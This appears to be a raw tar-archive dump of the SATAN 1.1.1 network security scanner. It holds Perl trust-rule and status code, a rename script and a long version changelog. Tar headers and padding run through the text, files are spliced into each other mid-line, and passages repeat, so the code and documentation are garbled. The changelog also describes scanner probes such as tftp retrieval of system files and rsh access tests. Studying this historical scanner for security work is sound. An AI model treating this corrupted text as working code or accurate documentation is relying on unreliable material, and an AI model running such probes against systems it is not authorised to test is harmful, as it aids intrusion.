  25946. .    next if /^$/;
  25947. .    s/@/\\@/g;
  25948. .    ($cond, $type) = split(/\t+/, $_, 2);
  25949. .    die "missing trust type" if $type eq "";
  25950. .    $code .= "\
  25951.     if ($cond) {
  25952. .\$trust_host_type{\"\$td_host \$te_host\"}{\"$type\"} .= \$_ . \"\\n\";
  25953. .\$trust_type_host{\"$type\"}{\"\$td_host \$te_host\"} .= \$_ . \"\\n\";
  25954. .return;
  25955.     }\
  25956. ";
  25957. .}
  25958. .close(RULES);
  25959.     }
  25960.     $code .= "\
  25961.     \$trust_host_type{\"\$trustee \$trusted\"}{\"other\"} .= \$_ . \"\\n\";
  25962.     \$trust_type_host{\"other\"}{\"\$trustee \$trusted\"} .= \$_ . \"\\n\";
  25963. }\n";
  25964.     return $code;
  25965. }
  25966.  
  25967. #
  25968. # Reset all trust information tables.
  25969. #
  25970. sub clear_trust_info {
  25971. .%total_trust_pair = ();
  25972. .%total_trustee_names = ();
  25973. .%total_trustee_count = ();
  25974. .%total_trusted_names = ();
  25975. .%total_trusted_count = ();
  25976. .%trust_host_type = ();
  25977. }
  25978.  
  25979. #
  25980. # Some scaffolding for stand-alone operation
  25981. #
  25982. if ($running_under_satan) {
  25983.     eval &build_update_trust($trust_files);
  25984.     die "error in $trust_files: $@" if $@;
  25985. } else {
  25986.     $running_under_satan = -1;
  25987.     $debug = 1;
  25988.  
  25989.     require 'perl/misc.pl';
  25990.  
  25991.     #
  25992.     # Generate code from rules files.
  25993.     #
  25994.     $code = &build_update_trust($trust_files);
  25995.     print "Code generated from $trust_files:\n\n";
  25996.     print $code;
  25997.     eval $code; 
  25998.     die "error in $trust_files: $@" if $@;
  25999.  
  26000.     #
  26001.     # Apply rules.
  26002.     #
  26003.     print "\nApplying rules to all SATAN records...\n";
  26004.     while (<>) {
  26005.         chop;
  26006.         if (&satan_split($_) == 0) {
  26007.             &update_trust($_);
  26008.         }
  26009.     }
  26010.  
  26011.     print "Trusted Trustee Type...\n";
  26012.     for $pair (sort keys %trust_host_type) {
  26013. .print $pair,' ',sort(join(' ', keys %{$trust_host_type{$pair}})),"\n";
  26014.     }
  26015.  
  26016.     print "\nType Trusted Trustee...\n";
  26017.     for $type (sort keys %trust_type_host) {
  26018. .for $pair (sort keys %{$trust_type_host{$type}}) {
  26019. .    print "$type $pair\n";
  26020. .}
  26021.     }
  26022. }
  26023.  
  26024. 1;
  26025. intain trust statistics
  26026. #
  26027. # Output to: 
  26028. #
  26029. # $total_trusted_count{host} number of non-ANY trust relationships
  26030. # $total_trusted_names{host} names of trusted hosts
  26031. #
  26032. # $total_trustee_count{host} number of non-ANY trust relationships
  26033. # $total_trustee_names{host} names of trustee hosts
  26034. #
  26035. # $trust_host_type{trusted trustee}{type} all facts about this relationship.
  26036. # $trust_type_host{type}{trusted trustee} all facts about this relationship.
  26037.  
  26038. $trust_files = "rules/trust";
  26039. $trust_other = "othsatan-1.1.1/perl/status.pl..........................................................................   600 .   465 .   506 .       1126  5742457004  10522. ..................................................................................
  26040. .................................................................................................................................................................................................................................................................
  26041. .................#
  26042. # Maintain time, date, satan status file and GUI feedback.
  26043. #
  26044.  
  26045. require 'perllib/ctime.pl';
  26046. require $SATAN_CF;
  26047.  
  26048. #
  26049. # Convert to time of day.
  26050. #
  26051. sub hhmmss {
  26052. .local($time) = @_;
  26053. .local($sec, $min, $hour);
  26054. .
  26055. .($sec, $min, $hour) = localtime($time);
  26056. .return sprintf "%02d:%02d:%02d", "$hour", "$min", "$sec";
  26057. }
  26058.  
  26059. sub update_status {
  26060. .local($text) = @_;
  26061.  
  26062. .$now = &hhmmss(time());
  26063.  
  26064. .# GUI feedback.
  26065. .print CLIENT "$now $text<br>\n" if $running_from_html;
  26066.  
  26067. .# Status file.
  26068. .die "Can't open status file $status_file\n" 
  26069. ..unless open(STATUS, ">>$status_file");
  26070. .print STATUS "$now $text\n";
  26071. .close STATUS;
  26072. }
  26073. code = '
  26074. sub update_trust {
  26075.     local($td_host, $te_host);
  26076.     ($td_host = $trusted) =~ s/(.*@)?(.*)/$2/;
  26077.     ($te_host = $trustee) =~ s/(.*@)?(.*)/$2/;
  26078.  
  26079.     return 
  26080. .if $td_host eq "" || $te_host eq ""
  26081. .|| $td_host eq "ANY" || $td_host eq $te_host;
  26082.  
  26083.     if (!exists($trust_host_type{"$td_host $te_host"})) {
  26084. .$total_trustee_names{$td_host} .= "$te_host ";
  26085. .$total_trustee_count{$td_host}++;
  26086. .$total_trusted_names{$te_host} .=satan-1.1.1/repent..................................................................................   700 .   465 .   506 .       2316  5734764650   7134. ...................................................................
  26087. .................................................................................................................................................................................................................................................................
  26088. ................................:
  26089. #
  26090. # Change SATAN to SANTA.  Do this *before* you type make...
  26091. #
  26092. # version 1, Fri Mar 24  2:25:29 1995, last mod by zen
  26093. #
  26094.  
  26095. # if we see an md5 file, we'll assume they have already done a make...
  26096. if test -f bin/md5 ; then
  26097. .echo Run this before doing a \"make\", or run \"make clean\" and then run it...
  26098. .exit 1
  26099. .fi
  26100.  
  26101. #
  26102. # Change the file names from "*satan*" ==> "*santa*"
  26103. echo Finding all the file names
  26104. find . \! -name "satan*.gif" -print | while read old_name
  26105. .do
  26106. .new_name=`echo $old_name | sed 's/satan/santa/'`
  26107. .if test $new_name != $old_name ; then
  26108. ..mv $old_name $new_name
  26109. ..fi
  26110. .done
  26111.  
  26112. #
  26113. # Nuke the inline and acronym stuff in everything but the binaries...
  26114. echo Now changing all "SATAN" occurances to "SANTA"... please wait...
  26115. find . -type f \! -name "*.gif" -print |
  26116. .grep -v see_the_light.pl | xargs \
  26117. .perl -pi -e 's/SATAN/SANTA/g; s/satan/santa/g; s/Security Administrator Tool for Analyzing Networks/Security Analysis Network Tool for Administrators/'
  26118.  
  26119. echo linking santa...
  26120. ln html/images/santa.gif html/images/santa-almost-full.gif
  26121. ln html/images/santa.gif html/images/santa-full.gif
  26122.  
  26123. #
  26124. # one last switch...
  26125. perl -pi -e 's/"SANTA"/"SATAN"/; s/you can run the/but you shouldnt have run the/' html/name.html
  26126.  
  26127. echo Done!
  26128. .chop;
  26129. ..$_ .= <RULES>;
  26130. ..chop;
  26131. .    }
  26132. .    s/#.*$//;
  26133. .    s/\s+$//;
  26134. .    next if /^$/;
  26135. .    s/@/\\@/g;
  26136. .    ($cond, $type) = split(/\t+/, $_, 2);
  26137. .    die "missing trust type" if $type eq "";
  26138. .    $code .= "\
  26139.     if ($cond) {
  26140. .\$trust_host_type{\"\$td_host \$te_host\"}{\"$type\"} .= \$_ . \"\\n\";
  26141. .\$trusatan-1.1.1/Changes.................................................................................   600 .   465 .   506 .      40136  5742520760   7217. ...............................................................................................
  26142. .................................................................................................................................................................................................................................................................
  26143. ....1.1.1
  26144.  
  26145. - URL filter was too strict, would reject names with () in them.
  26146.  
  26147. 1.1
  26148.  
  26149. - bundled in ctime.pl and getopts.pl from the perllib.
  26150. - trouble shooting docs now integrated with FAQ, and a full week of feedback
  26151.   processed into FAQ and troubkle entries.
  26152. - added a 13th vulnerability page. Irony has it that SATAN is the subject.
  26153.   Surprise: CERT/CC posts advisory *before* a software update is available.
  26154. - SATAN now detects that HTML clients reveal parent URL information.
  26155. - eliminated extraneous ping probes.
  26156. - strerror() is provided whether or not the compiler understands ANSI.
  26157. - prevent compiler warnings about "& before array" in rpcgen output.
  26158. - use waitpid() to find out when the HTML browser terminates.
  26159. - moved 'require getopts.pl' down in bin/*.satan scripts.
  26160. - fixed typos/errors/omissions/ambiguities in the documentation.
  26161. - the -c option now changes individual perl variables. Example:
  26162.   -c "dont_use_nslookup = 1; dont_use_icmp = 1". Useful for config
  26163.   variables that have no command-line option.
  26164. - dropped the -c alternate config file feature. There is no easy way
  26165.   to both set *and* override defaults (short of writing our own getopt).
  26166. - getfqdn() could be blind for nameless hosts when nslookup was enabled.
  26167. - getfqdn() would be blind for nameless hosts when nslookup was disabled.
  26168. - rsh test no longer relies on the rsh or remsh command (it worked 
  26169.   only when the target account exists on the probing host), and it
  26170.   now makes difference between "host trusts everyone" and "account
  26171.   trusts everyone". It would claim that hosts are open when they
  26172.   refuse access with a tcp wrapper banner message.
  26173. - append dot in dns.satan query to avoid spurious name servers being
  26174.   listed. This also may make things faster.
  26175. - avoid duplicate "exports to the world" message (shut up showmount
  26176.   message when running from an untrusted host).
  26177. - added HTML client address check, in case the magic cookie leaks out.
  26178.   This is just a last barrier; cookies should never be disclosed.
  26179. - added URL name address check, in case the magic cookie leaks out.
  26180.   This is just a last barrier; cookies should never be disclosed.
  26181. - added an ANSI/POSIXized version of the rpcgen command for systems
  26182.   without one (ultrix, some sysv4 versions).
  26183. - more Linux support. There are many Linux versions so who knows where
  26184.   this will work.
  26185. - rsh tests are now executed only when the probing host is untrusted.
  26186. - avoid duplicate tftp problem message by making it different for read 
  26187.   and write.
  26188.  
  26189. 1.0! We made it!
  26190.  
  26191. - just in case, dropped TUE references from all code except safe_finger
  26192.   (which was stolen from the TCP wrapper) and the admin guide (which
  26193.   was already posted one year ago with TUE reference in it).
  26194. - dropped the unused rcmdinfo tool.
  26195. - linked the troubleshooting guide.
  26196. - deleted all references to set-uid tools - scripts cannot be made setuid.
  26197. - added note about parallel runs to the satan.8 man page.
  26198. - will ask the user to set $dont_use_dns when nslookup fails.
  26199. - README & TODO - added disclaimer on parallelism; added AFS & SNMP to our
  26200.   TODO list.
  26201. - rm'd fireup
  26202. - added proxy stuff to README and troubleshooting.html
  26203.  
  26204. 0.93
  26205.  
  26206. - minor typos in the documentation keep popping up...
  26207. - worked around a sys_errlist[] declaration clash in freebsd 2.0.
  26208. - changed references to "session key" to "magic cookie".
  26209. - fixed "back to.." link in the system requirements.
  26210. - gave the session key writeup a more architectural tone.
  26211. - fixed another duplicate filtering bug in danger report.
  26212. - SATAN no longer dies (undefined host) when given an incomplete database.
  26213. - clearer distinction of in-core and on-disk databases, and what happens
  26214.   when you load/merge/open/query them.
  26215. - fixed some typos in the FAQ.
  26216. - commented out offending commands in satan.ps
  26217. - fixed some typos in sendmail check.
  26218.  
  26219. 0.91
  26220.  
  26221. - docs: user_interface, the_main_parts, satan_reference, satan_overview,
  26222.   satan.db, FAQ (incl. adding your stuff to FAQ)
  26223. - rules - 2 more sendmail checks - (<= 5.60), (<=5.65 && dynix) in facts,
  26224.   improved DYNIX recognition
  26225. - changed tutorial Sendmail_vulnerabilities.html
  26226.  
  26227. 0.90
  26228.  
  26229. - more consistency (use of SATAN logo, intermediate headings).
  26230. - broke down documentation into overview and reference.
  26231. - fixed some dead links (_ instead of -).
  26232. - figured out why lynx would not start up a problm.
  26233.  
  26234. - put back in old/new satan.ps
  26235. - writable-FTP tutorial - added cert link
  26236. - reconfig - changed error msg to be more clear
  26237. - minor changes to README
  26238. - minor grammar and spelling changes to satan.8
  26239. - Changed several docs - clarity, expansion, etc.
  26240. - put in the troubleshooting.html guide
  26241.  
  26242. - figured out why nfs-chk/yp-chk had trouble with Solaris.
  26243.  
  26244. - cloned nfs-chk.satan to yp-chk.satan for nis map accessibility test.
  26245. - added -d (domain name) option to ypbind.satan.
  26246. - cloned nfs-chk to yp-chk and plugged in an YP client call.
  26247. - Linux users are now instructed to copy BSD includes into the satan tree.
  26248.  
  26249. - found the nfs ghost - missing initialization in dynamic page.
  26250. - why tcpscan was too quick claimin telnet on non-std port.
  26251. - added <HTML><HEAD><BODY> to the dynamic HTML pages.
  26252. - consistent spelling of names (caps).
  26253. - copied the alpha satan.ps, the ./satan.ps was busted.
  26254. - changed font in acknowledgements from fixed width to something more
  26255.   palatable.
  26256.  
  26257. - bold faced our names in authors.html
  26258. - fixed satan => SATAN in satan.8
  26259. - added satan.ps
  26260. - modified/added to html/docs/FAQ.html (red 'n' black dot controversy
  26261.   on a B/W screen, changing HTML viewers, etc.)
  26262. - mv'd html/docs/admin_guide_to_cracking => $!.html
  26263. - changed a link in html/docs/references.html to above
  26264. - changed html/docs/user_interface.html to have ALT's to dots
  26265. - put a <HTML>, <HEAD>, and <BODY> into html/docs/*.html, and
  26266.   in html/tutorials/vulnerability/*, also added some "ALT=..."
  26267. - put in (identical) warnings about tcp-wrappers/reverse fingers, in
  26268.   running for the first time tutorial and general usage docs.
  26269. - nuked the glossary - no time to finish it right.
  26270. - Nuked *.orig, *.bak, *.old
  26271.  
  26272. - satan ships with execute bits off, to avoid stupid questions from people 
  26273.   that did not run `reconfig' first, as described in the README file.
  26274. - debugging mode is now off by default. You can tail -f the status_file
  26275.   to watch progress.
  26276. - added a first README file to get people started.
  26277. - workaround for Solaris broken naming service (no cname to offical name)
  26278. - added a few more names to the acknowledgements, fixed the simple-minded
  26279.   "sort +1" that sorted on second name instead of last name.
  26280. - in vulnerability tutorials, moved admin-guide links under the "other tips".
  26281. - in the modem vulnerability tutorial, the phone bill went to the wrong party.
  26282. - added sys/select.h includes for AIX.
  26283. - now sorts subnets numerically
  26284.  
  26285. - acknowledgements
  26286. - put in the modem check... I hope this regex doesn't match
  26287.   anything else by mistake!  (This is in rules/facts)  I'm making it
  26288.   a "root" severity problem, just because it's so ghastly, more than
  26289.   it being such a severe problem on that host.
  26290. - fixed tftp to get /etc/group instead of /etc/passwd
  26291. - html/docs/satan_doc.pl - added trust section
  26292. - html/docs/trust.html - discussion of trust
  26293. - fixed names in satan.8
  26294. - fixed my personal statement
  26295. - FIXED (!!!) back the satan control panel.  Data management should NOT
  26296.   go first.
  26297. - fixed grammar html/tutorials/vulnerability/REXD_access
  26298. - uncommented root rsh and SGI rsh as guest
  26299. - reconfig - add whoami
  26300. - uncommented FAQ; still needs lots of work!
  26301. - made links from tutorials to admin-guide-to-cracking
  26302. - now show the current database name in the "open database" text field.
  26303. - added -u (running from untrusted host) option and $untrusted variable.
  26304. - changed wording of worldwide exports in nfs-chk.satan
  26305. - moved umask 077 to main satan
  26306. - tcpscan now continues after ICMP_UNREACH_NET or ICMP_UNREACH_PROTOCOL.
  26307. - network targets didn't work anymore.
  26308. - added "view primary target results" link.
  26309. - target acq screen: added explanation of "normal" and "heavy" scans.
  26310. - trust reports now sort by trust type as default.
  26311. - added -A (proximity descent) and -z (sub zero proximity) options.
  26312. - used wrong hostname variable in sort-by-trust-type reports.
  26313. - dropped proximity stuff from the target acquisition screen.
  26314. - fixed references to old timeout variable names in the admin html pages.
  26315. - more trust classification rules.
  26316. - added ';' after shell built-ins in Makefile (for HP-UX make).
  26317.  
  26318. Satan beta 0.5
  26319.  
  26320. - rescan is now default: before scanning, SATAN always drops old
  26321.   information on primary hosts. Too many problems with todo rules 
  26322.   being skipped at a low attack level, and never being triggered 
  26323.   again whe the attack level was increased.
  26324. - wrote a UNIX man page so we can tell them to Read the fine manual.
  26325. - data mgt moved to the top - if you collect data first it does not
  26326.   make sense to change databases later.
  26327. - added "back to SATAN report analysis" links to the report screens.
  26328. - worked around strange behavior when host or domain names end in au.
  26329.   fix: all dynamic URLs now end in a comma.
  26330. - some error screens had a non-standard layout.
  26331. - replacing TYPE=NAME by TYPE="name" made things work better with Mosaic.
  26332. - tcp_scan will calm down when the kernel runs out of file descriptors.
  26333. - fixed extraneous Add-fact/todo/target messages in verbose logs.
  26334. - fixed defective duplicate filter in danger level report.
  26335. - added OSF to the list of mainstream systems (weird...)
  26336. - save database to temp files, then rename. This avoids data loss
  26337.   when the program is interrupted while saving. We should append
  26338.   new stuff only but I'm not going to change the inference engine
  26339.   in the last hour before the final beta.
  26340. - all shell commands go through one routine so nothing escapes timeouts.
  26341.  
  26342. - added SONY NEWS machines to hosttype, fixed apple type, now picks up BSDI
  26343.   OS version
  26344. - added an AUTHOR file in src/fping, to point to the current maintainer.
  26345. - fixed reconfig to not look at dirs that don't exist, echo correct message,
  26346.   look for remsh & if it exists, use it instead of rsh.  Changed top line
  26347.   to be a better way (you might check this out; this was suggested by
  26348.   tom christianson & larry wall, so I trust it.)
  26349. - changed the satan.probes.html documentation significantly; minor change
  26350.   to satan_documentation to reflect this.
  26351. - added grep into paths.sh
  26352. - moved data management menu item below targeting and results on main
  26353.   control panel (html/satan.pl) - I really want to have targeting first,
  26354.   then analysis, then the rest!
  26355. - created a wu-archive ftp tutorial
  26356. - small change in analysis.pl; "Widely" seems redundant, nuked it.
  26357. - added question about multiple fingers to FAQ
  26358.  
  26359. - not scanned hosts are now called "not scanned" instead of "unknown type".
  26360.  
  26361. - added sort-by-trust-type links to the trusted and trusting host displays
  26362. - documented the trust rule base.
  26363. - fixed typo in trusting host sort order.
  26364. - restored control panel order: choose data base before collecting data.
  26365. - port scanners now take service names from config/services so that our
  26366.   inference rules will be more robust. The system services tables are
  26367.   used for everything not found in SATAN's service tables.
  26368. - began cleaning up the html. Combining both quoting and italics on the
  26369.   same word is just too much.
  26370. - some hosts would stay "unknown type" after rescanning. Fix: add an UNKNOWN
  26371.   pattern to rules/hosttype that matches both "" and "unknown type".
  26372. - deleted the html/query subdirectory
  26373. - SATAN now maintains a per-host last access time, displayed with host details.
  26374. - faux-fping took only one argument and always did subnet expansion.
  26375.   I replaced it by an fping-compatible one-liner.
  26376. - updated docs about current locations of files.
  26377. - subtle bugs eliminated by using explicit loop controls instead of $_.
  26378. - subnet expansion did not update attack levels of already known hosts.
  26379. - reconfig no longer needs to have #!/path/to/perl.
  26380. - get_targets moved to bin.
  26381.  
  26382. - fixed rsh.satan to not depend on remote location of commands
  26383. - can now merge data bases (GUI only).
  26384. - fix_hostname.pl could map IP addresses to unqualified hostnames.
  26385. - SATAN could skip hosts that were dead on a previous run.
  26386. - added support to rescan primary hosts (ignore old primary host results).
  26387. - added -o option for 'scan only these'.
  26388. - added -O option for 'skip these'.
  26389. - added -c option for alternate config file.
  26390.  
  26391. Satan 0.40 beta:
  26392.  
  26393. - slightly changed -V flag to satan; prints out version, found in version.pl
  26394. - removed *box*.gif *triangle*.gif from images directory
  26395. - removed all but black, red, pink, and purple dots from dots dir
  26396. - swept through all html files with a fairly fine-toothed comb and
  26397.   programs, fixed all syntax errors that I could find.  This is mostly,
  26398.   actually, the html/docs & html/tutorials dirs.removed "lines" subdirectory
  26399. - all tool etc. file names are now controlled from config files.
  26400. - now handles combinations of `scan only these' and `don't scan' exceptions.
  26401. - now accepts multiple exceptions for `scan only these' and `don't scan'.
  26402. - configuration GUI screen now shows current exception patterns.
  26403. - syntax of exeption patterns changed from regexps to shell style.
  26404.   it was symply too painful to get right.
  26405. - config file edit script used the raw HTML attribute list with %hex codes.
  26406. - generic editing of %hex codes emitted by web viewers.
  26407. - GUI will now show a trace (with time stamps) of what satan is doing.
  26408. - configurable pathnames in sh scripts moved to central file.
  26409. - lots of dead links in the docs fixed.
  26410. - big one: separate directories for config, commands, rules, scripts.
  26411. - added "make setuid" target to the main Makefile.
  26412. - status file is now updated when satan terminates.
  26413. - status file cannot be specified on the command line (for parallel runs).
  26414.  
  26415. Satan 0.36 beta:
  26416.  
  26417. - added "continue with report and analysis" link to data management.
  26418. - added a rules/trust file to classify trust relationships by type.
  26419. - put back the "widely trusting hosts" link in the report table of contents.
  26420. - added a $dont_use_ping flag (config file, docs and GUI) so you can make
  26421.   SATAN believe that hosts are always reachable.
  26422.  
  26423. Satan 0.34 beta:
  26424.  
  26425. - print an error when get_targets fails instead of mysteriously terminating.
  26426. - all hostnames should now be translated to lowercase
  26427. - zap all prixy environment variables except no_proxy.
  26428. - numerical $dont_attack_these and $only_attack_these patterns now work.
  26429. - the boot.satan will now fire only when the client hostname resolves
  26430. - DNS: added a $dont_use_nslookup flag (config file, docs and GUI).
  26431. - made the rpcinfo tool more accurate.
  26432. - use safe_finger instead of plain finger (thanks Lionel).
  26433. - updated the documentation (fping is bundled, attack level probe lists).
  26434. - fixed some list problems that Mosaic could choke on.
  26435. - re-wrote the satan.cf attack level lists as per Lionel's suggestion.
  26436.   This makes the portscanner implementation much cleaner. Tools are now 
  26437.   listed _with_ arguments, so no more automatic ".satan" tricks.
  26438. - rules.services claimed all gopher or www servers on non-standard ports.
  26439. - fixed output flushing in *.satan tools.
  26440.  
  26441. Satan 0.33 beta:
  26442.  
  26443. - minor portscan.satan fix (will rewrite this according to Lionel's suggestion).
  26444. - more reconfig fixes (would replace perl5 by perl55)
  26445. - more shell command filtering
  26446. - fixed timeout order in satan script
  26447. - portability fixes for the tcp/udp port scanner (hp-ux)
  26448.  
  26449. Satan 0.3 beta:
  26450.  
  26451. - found why SATAN would no longer look up the host IP of unprobed hosts.
  26452. - Doesn't die when reading malformed data
  26453. - slight fix to nfs-chk.satan
  26454. - cleaned up some html stuff/dead links
  26455. - Added a test for pre 2.4 wustl ftp servers
  26456. - Ever so small correction to reconfig... (I'm going to rewrite this in perl.)
  26457.  
  26458. Satan 0.2 beta:
  26459.  
  26460. - will now tell via the GUI how many hosts were visited.
  26461. - GUI now shows status (unreachable) and scanning level info in the
  26462.   per-host report.
  26463. - fixed the reconfig script so it won't mangle perl path names anymore
  26464. - will now tell you to become root or to make fping, tcp_scan etc. set-uid.
  26465. - added a -V (version) command-line option. Unfortunately, PERL still
  26466.   dumps core on IRIX 5.3 when SATAN is given a command-line option.
  26467. - added a $running_under_html flag for GUI diagnostics
  26468.  
  26469. Satan 0.1 beta:
  26470.  
  26471. - fping is now completely integrated with satan.
  26472. - better support of recursive `make -n'.
  26473. - queries by host now support FQDN completion.
  26474. - several broken html links fixed.
  26475. - final solution for the sys/socket.ph problem.
  26476. - Web client will now connect to hostname instead of 127.0.0.1.
  26477. - nfs-chk tries both privileged and unprivileged client ports in the same run.
  26478. - cleanup nslookup [x.x.x.x] result when cannot find a host.
  26479. moved all but black, red, pink, and purple dots from dots dir
  26480. - swept through all html files with a fairly fine-toothed comb and
  26481.   programs, fixed all syntax errors that I could find.  This is mostly,
  26482.   actually, the html/docs & html/tutorials dirs.removed "lines" subdirectory
  26483. - all tool etc. file names are now controlled from config files.
  26484. - now handles combinations of `scan only these' and `don't scan' exceptions......................................................................................................................................................................................
  26485. .................................................................................................................................................................................................................................................................
  26486. .................................................................................................................................................................................................................................................................
  26487. .................................................................................................................................................................................................................................................................
  26488. .......................................................................m that hosts are open when they
  26489.   refuse access with a tcp wrapper banner message.
  26490. - append dot in dns.satan query to avoid spurious name servers being
  26491.   listed. This also may make things faster.
  26492. - avoid duplicate "exports to the world" message (shut up showmount
  26493.   message when running from an untrusted host).
  26494. - added HTML client address check, in case the magic cookie leaks out.
  26495.   This is just a last barrier; cookies should never be disclosed.
  26496. - added URL name address check, in case the magic cookie leaks out.
  26497.   This is just a last barrier; cookies should never be disclosed.
  26498. - added an ANSI/POSIXized version of the rpcgen command for systems
  26499.   without one (ultrix, some sysv4 versions).
  26500. - more Linux support. There are many Linux versions so who knows where
  26501.   this will work.
  26502. - rsh tests are now executed only when the probing host is untrusted.
  26503. - avoid duplicate tftp problem message by making it different for read 
  26504.   and write.
  26505.  
  26506. 1.0! We made it!
  26507.  
  26508. - just in case, dropped TUE references from all code except safe_finger
  26509.   (which was stolen from the TCP wrapper) and the admin guide (which
  26510.   was already posted one year ago with TUE reference in it).
  26511. - dropped the unused rcmdinfo tool.
  26512. - linked the troubleshooting guide.
  26513. - deleted all references to set-uid tools - scripts cannot be made setuid.
  26514. - added note about parallel runs to the satan.8 man page.
  26515. - will ask the user to set $dont_use_dns when nslookup fails.
  26516. - README & TODO - added disclaimer on parallelism; added AFS & SNMP to our
  26517.   TODO list.
  26518. - rm'd fireup
  26519. - added proxy stuff to README and troubleshooting.html
  26520.  
  26521. 0.93
  26522.  
  26523. - minor typos in the documentation keep popping up...
  26524. - worked around a sys_errlist[] declaration clash in freebsd 2.0.
  26525. - changed references to "session key" to "magic cookie".
  26526. - fixed "back to.." link in the system requirements.
  26527. - gave the session key writeup a more architectural tone.
  26528. - fixed another duplicate filtering bug in danger report.
  26529. - SATAN no longer dies (undefined host) when given an incomplete database.
  26530.